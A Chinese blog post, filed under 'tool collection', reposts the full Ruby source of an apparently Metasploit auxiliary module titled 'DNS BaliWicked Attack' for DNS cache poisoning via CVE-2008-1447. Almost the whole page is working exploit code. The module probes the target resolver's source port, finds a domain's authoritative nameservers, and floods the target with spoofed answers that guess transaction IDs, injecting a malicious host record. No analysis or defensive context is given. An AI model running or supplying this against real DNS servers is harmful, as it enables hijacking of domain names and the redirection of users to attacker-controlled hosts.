首页 > 工具收集 > dns缓存中毒的ruby代码

dns缓存中毒的ruby代码

2008年7月29日 发表评论 阅读评论

原地址:去看看

<br />1      require &#039;msf/core&#039;<br />2   require &#039;net/dns&#039;<br />3   require &#039;scruby&#039;<br />4   require &#039;resolv&#039;<br />5   <br />6   module Msf<br />7   <br />8   class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary<br />9   <br />10           include Exploit::Remote::Ip<br />11   <br />12           def initialize(info = {})<br />13                   super(update_info(info,<br />14                           &#039;Name&#039;           => &#039;DNS BaliWicked Attack&#039;,<br />15                           &#039;Description&#039;    => %q{<br />16                                   This exploit attacks a fairly ubiquitous flaw in DNS implementations which<br />17                                   Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single<br />18                                   malicious host entry into the target nameserver by sending random sub-domain<br />19                                   queries to the target DNS server coupled with spoofed replies to those<br />20                                   queries from the authoritative nameservers for the domain which contain a<br />21                                   malicious host entry for the hostname to be poisoned in the authority and<br />22                                   additional records sections.  Eventually, a guessed ID will match and the<br />23                                   spoofed packet will get accepted, and due to the additional hostname entry<br />24                                   being within baliwick constraints of the original request the malicious host<br />25                                   entry will get cached.<br />26                           },<br />27                           &#039;Author&#039;         => &#91; &#039;I)ruid&#039;, &#039;hdm&#039; &#93;,<br />28                           &#039;License&#039;        => MSF_LICENSE,<br />29                           &#039;Version&#039;        => &#039;$Revision$&#039;,<br />30                           &#039;References&#039;     =><br />31                                   &#91;<br />32                                           &#91; &#039;CVE&#039;, &#039;2008-1447&#039; &#93;,<br />33                                           &#91; &#039;US-CERT-VU&#039;, &#039;8000113&#039; &#93;,<br />34                                           &#91; &#039;URL&#039;, &#039;http://www.caughq.org/exploits/CAU-EX-2008-0002.html&#039; &#93;,<br />35                                   &#93;,<br />36                           &#039;Privileged&#039;     => true,<br />37                           &#039;Targets&#039;        =><br />38                                   &#91;<br />39                                           &#91;"BIND", <br />40                                                   {<br />41                                                           &#039;Arch&#039; => ARCH_X86,<br />42                                                           &#039;Platform&#039; => &#039;linux&#039;,<br />43                                                   },<br />44                                           &#93;,<br />45                                   &#93;,<br />46                           &#039;DisclosureDate&#039; => &#039;Jul 21 2008&#039;<br />47                           ))<br />48                          <br />49                           register_options(<br />50                                   &#91;<br />51                                           OptPort.new(&#039;SRCPORT&#039;, &#91;true, "The target server&#039;s source query port (0 for automatic)", nil&#93;),<br />52                                           OptString.new(&#039;HOSTNAME&#039;, &#91;true, &#039;Hostname to hijack&#039;, &#039;pwned.doxpara.com&#039;&#93;),<br />53                                           OptAddress.new(&#039;NEWADDR&#039;, &#91;true, &#039;New address for hostname&#039;, &#039;1.3.3.7&#039;&#93;),<br />54                                           OptAddress.new(&#039;RECONS&#039;, &#91;true, &#039;Nameserver used for reconnaissance&#039;, &#039;208.67.222.222&#039;&#93;),<br />55                                           OptInt.new(&#039;XIDS&#039;, &#91;true, &#039;Number of XIDs to try for each query&#039;, 10&#93;),<br />56                                           OptInt.new(&#039;TTL&#039;, &#91;true, &#039;TTL for the malicious host entry&#039;, 31337&#93;),<br />57                                   &#93;, self.class)<br />58                                          <br />59           end<br />60          <br />61           def auxiliary_commands<br />62                   return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }<br />63           end<br />64   <br />65           def cmd_check(*args)<br />66                   targ = args&#91;0&#93; &#124;&#124; rhost()<br />67                   if(not (targ and targ.length > 0))<br />68                           print_status("usage: check &#91;dns-server&#93;")<br />69                           return<br />70                   end<br />71   <br />72                   print_status("Using the Metasploit service to verify exploitability...")<br />73                   srv_sock = Rex::Socket.create_udp(<br />74                           &#039;PeerHost&#039; => targ,<br />75                           &#039;PeerPort&#039; => 53<br />76                   )               <br />77   <br />78                   random = false<br />79                   ports  = &#91;&#93;<br />80                   lport  = nil<br />81                  <br />82                   1.upto(5) do &#124;i&#124;<br />83                  <br />84                           req = Resolv::DNS::Message.new<br />85                           txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"<br />86                           req.add_question(txt, Resolv::DNS::Resource::IN::TXT)<br />87                           req.rd = 1<br />88                          <br />89                           srv_sock.put(req.encode)<br />90                           res, addr = srv_sock.recvfrom()<br />91                          <br />92   <br />93                           if res and res.length > 0<br />94                                   res = Resolv::DNS::Message.decode(res)<br />95                                   res.each_answer do &#124;name, ttl, data&#124;<br />96                                           if (name.to_s == txt and data.strings.join(&#039;&#039;) =~ /^(&#91;^&#92;s&#93;+)&#92;s+.*red&#92;.metasploit&#92;.com/m)<br />97                                                   t_addr, t_port = $1.split(&#039;:&#039;)<br />98   <br />99                                                   print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")<br />100                                                   t_port = t_port.to_i<br />101                                                   if(lport and lport != t_port)<br />102                                                           random = true<br />103                                                   end<br />104                                                   lport  = t_port<br />105                                                   ports << t_port<br />106                                           end<br />107                                   end<br />108                           end     <br />109                   end<br />110                  <br />111                   srv_sock.close<br />112                  <br />113                   if(ports.length < 5)<br />114                           print_status("UNKNOWN: This server did not reply to our vulnerability check requests")<br />115                           return<br />116                   end<br />117                  <br />118                   if(random)<br />119                           print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")<br />120                           print_status("      This server may still be exploitable, but not by this tool.")<br />121                   else<br />122                           print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")<br />123                   end<br />124           end<br />125                  <br />126           def run<br />127                   target   = rhost()<br />128                   source   = Rex::Socket.source_address(target)<br />129                   sport    = datastore&#91;&#039;SRCPORT&#039;&#93;<br />130                   hostname = datastore&#91;&#039;HOSTNAME&#039;&#93; + &#039;.&#039;<br />131                   address  = datastore&#91;&#039;NEWADDR&#039;&#93;<br />132                   recons   = datastore&#91;&#039;RECONS&#039;&#93;<br />133                   xids     = datastore&#91;&#039;XIDS&#039;&#93;.to_i<br />134                   ttl      = datastore&#91;&#039;TTL&#039;&#93;.to_i<br />135   <br />136                   domain = hostname.match(/&#91;^&#92;x2e&#93;+&#92;x2e&#91;^&#92;x2e&#93;+&#92;x2e$/)&#91;0&#93;<br />137   <br />138                   srv_sock = Rex::Socket.create_udp(<br />139                           &#039;PeerHost&#039; => target,<br />140                           &#039;PeerPort&#039; => 53<br />141                   )<br />142   <br />143                   # Get the source port via the metasploit service if it&#039;s not set<br />144                   if sport.to_i == 0<br />145                           req = Resolv::DNS::Message.new<br />146                           txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"<br />147                           req.add_question(txt, Resolv::DNS::Resource::IN::TXT)<br />148                           req.rd = 1<br />149                          <br />150                           srv_sock.put(req.encode)<br />151                           res, addr = srv_sock.recvfrom()<br />152                          <br />153                           if res and res.length > 0<br />154                                   res = Resolv::DNS::Message.decode(res)<br />155                                   res.each_answer do &#124;name, ttl, data&#124;<br />156                                           if (name.to_s == txt and data.strings.join(&#039;&#039;) =~ /^(&#91;^&#92;s&#93;+)&#92;s+.*red&#92;.metasploit&#92;.com/m)<br />157                                                   t_addr, t_port = $1.split(&#039;:&#039;)<br />158                                                   sport = t_port.to_i<br />159   <br />160                                                   print_status("Switching to target port #{sport} based on Metasploit service")<br />161                                                   if target != t_addr<br />162                                                           print_status("Warning: target address #{target} is not the same as the nameserver&#039;s query source address #{t_addr}!")<br />163                                                   end<br />164                                           end<br />165                                   end<br />166                           end<br />167                   end<br />168   <br />169                   # Verify its not already cached<br />170                   begin<br />171                           query = Resolv::DNS::Message.new<br />172                           query.add_question(hostname, Resolv::DNS::Resource::IN::A)<br />173                           query.rd = 0<br />174   <br />175                           begin<br />176                                   cached = false<br />177                                   srv_sock.put(query.encode)<br />178                                   answer, addr = srv_sock.recvfrom()<br />179   <br />180                                   if answer and answer.length > 0<br />181                                           answer = Resolv::DNS::Message.decode(answer)<br />182                                           answer.each_answer do &#124;name, ttl, data&#124;<br />183                                                   if((name.to_s + ".") == hostname  and data.address.to_s == address)<br />184                                                           t = Time.now + ttl<br />185                                                           print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")<br />186                                                           print_status("         Cache entry expires on #{t.to_s}... sleeping.")<br />187                                                           cached = true<br />188                                                           sleep ttl<br />189                                                   end<br />190                                           end<br />191                                   end<br />192                           end until not cached<br />193                   rescue ::Interrupt<br />194                           raise $!<br />195                   rescue ::Exception => e<br />196                           print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")<br />197                   end<br />198   <br />199                   res0 = Net::DNS::Resolver.new(:nameservers => &#91;recons&#93;, :dns_search => false, :recursive => true) # reconnaissance resolver<br />200   <br />201                   print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"<br />202   <br />203                   # Look up the nameservers for the domain<br />204                   print_status "Querying recon nameserver for #{domain}&#039;s nameservers..."<br />205                   answer0 = res0.send(domain, Net::DNS::NS)<br />206                   #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"<br />207   <br />208                   barbs = &#91;&#93; # storage for nameservers<br />209                   answer0.answer.each do &#124;rr0&#124;<br />210                           print_status " Got an #{rr0.type} record: #{rr0.inspect}"<br />211                           if rr0.type == &#039;NS&#039;<br />212                                   print_status "Querying recon nameserver for address of #{rr0.nsdname}..."<br />213                                   answer1 = res0.send(rr0.nsdname) # get the ns&#039;s answer for the hostname<br />214                                   #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"<br />215                                   answer1.answer.each do &#124;rr1&#124;<br />216                                           print_status " Got an #{rr1.type} record: #{rr1.inspect}"<br />217                                           res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)<br />218                                           print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."<br />219                                           answer2 = res2.send(domain)<br />220                                           if answer2 and answer2.header.auth? and answer2.header.anCount >= 1<br />221                                                   nsrec = {:name => rr0.nsdname, :addr => rr1.address}<br />222                                                   barbs << nsrec<br />223                                                   print_status "  #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"<br />224                                           end<br />225                                   end<br />226                           end     <br />227                   end<br />228   <br />229                   if barbs.length == 0<br />230                           print_status( "No DNS servers found.")<br />231                           srv_sock.close<br />232                           disconnect_ip<br />233                           return<br />234                   end<br />235   <br />236                   # Flood the target with queries and spoofed responses, one will eventually hit<br />237                   queries = 0<br />238                   responses = 0<br />239   <br />240                   connect_ip if not ip_sock<br />241   <br />242                   print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")<br />243   <br />244                   while true<br />245                           randhost = Rex::Text.rand_text_alphanumeric(12) + &#039;.&#039; + domain # randomize the hostname<br />246   <br />247                           # Send spoofed query<br />248                           req = Resolv::DNS::Message.new<br />249                           req.id = rand(2**16)<br />250                           req.add_question(randhost, Resolv::DNS::Resource::IN::A)<br />251   <br />252                           req.rd = 1<br />253   <br />254                           buff = (<br />255                                   Scruby::IP.new(<br />256                                           #:src   => barbs&#91;0&#93;&#91;:addr&#93;.to_s,<br />257                                           :src   => source,<br />258                                           :dst   => target,<br />259                                           :proto => 17<br />260                                   )/Scruby::UDP.new(<br />261                                           :sport => (rand((2**16)-1024)+1024).to_i,<br />262                                           :dport => 53<br />263                                   )/req.encode<br />264                           ).to_net<br />265                           ip_sock.sendto(buff, target)<br />266                           queries += 1<br />267                          <br />268                           # Send evil spoofed answer from ALL nameservers (barbs&#91;*&#93;&#91;:addr&#93;)<br />269                           req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))<br />270                           req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))<br />271                           req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))<br />272                           req.qr = 1<br />273                           req.ra = 1<br />274   <br />275                           p = rand(4)+2*10000<br />276                           p.upto(p+xids-1) do &#124;id&#124;<br />277                                   req.id = id<br />278                                   barbs.each do &#124;barb&#124;<br />279                                           buff = (<br />280                                                   Scruby::IP.new(<br />281                                                           #:src   => barbs&#91;i&#93;&#91;:addr&#93;.to_s,<br />282                                                           :src   => barb&#91;:addr&#93;.to_s,<br />283                                                           :dst   => target,<br />284                                                           :proto => 17<br />285                                                   )/Scruby::UDP.new(<br />286                                                           :sport => 53,<br />287                                                           :dport => sport.to_i<br />288                                                   )/req.encode<br />289                                           ).to_net<br />290                                           ip_sock.sendto(buff, target)<br />291                                           responses += 1<br />292                                   end<br />293                           end<br />294   <br />295                           # status update<br />296                           if queries % 1000 == 0<br />297                                   print_status("Sent #{queries} queries and #{responses} spoofed responses...")<br />298                           end<br />299   <br />300                           # every so often, check and see if the target is poisoned...<br />301                           if queries % 250 == 0<br />302                                   begin<br />303                                           query = Resolv::DNS::Message.new<br />304                                           query.add_question(hostname, Resolv::DNS::Resource::IN::A)<br />305                                           query.rd = 0<br />306          <br />307                                           srv_sock.put(query.encode)<br />308                                           answer, addr = srv_sock.recvfrom()<br />309   <br />310                                           if answer and answer.length > 0<br />311                                                   answer = Resolv::DNS::Message.decode(answer)<br />312                                                   answer.each_answer do &#124;name, ttl, data&#124;<br />313                                                           if((name.to_s + ".") == hostname and data.address.to_s == address)<br />314                                                                   print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")<br />315                                                                   disconnect_ip<br />316                                                                   return<br />317                                                           end<br />318                                                   end<br />319                                           end<br />320                                   rescue ::Interrupt<br />321                                           raise $!<br />322                                   rescue ::Exception => e<br />323                                           print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")<br />324                                   end<br />325                           end<br />326   <br />327                   end<br />328   <br />329           end<br />330   <br />331   end<br />332   end     <br />

转载请注明:woyigui's blog [http://www.woyigui.cn/]
本文标题:dns缓存中毒的ruby代码
本文地址:http://www.woyigui.cn/2008/07/29/dns-ruby-code/

分类: 工具收集 标签:
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.
*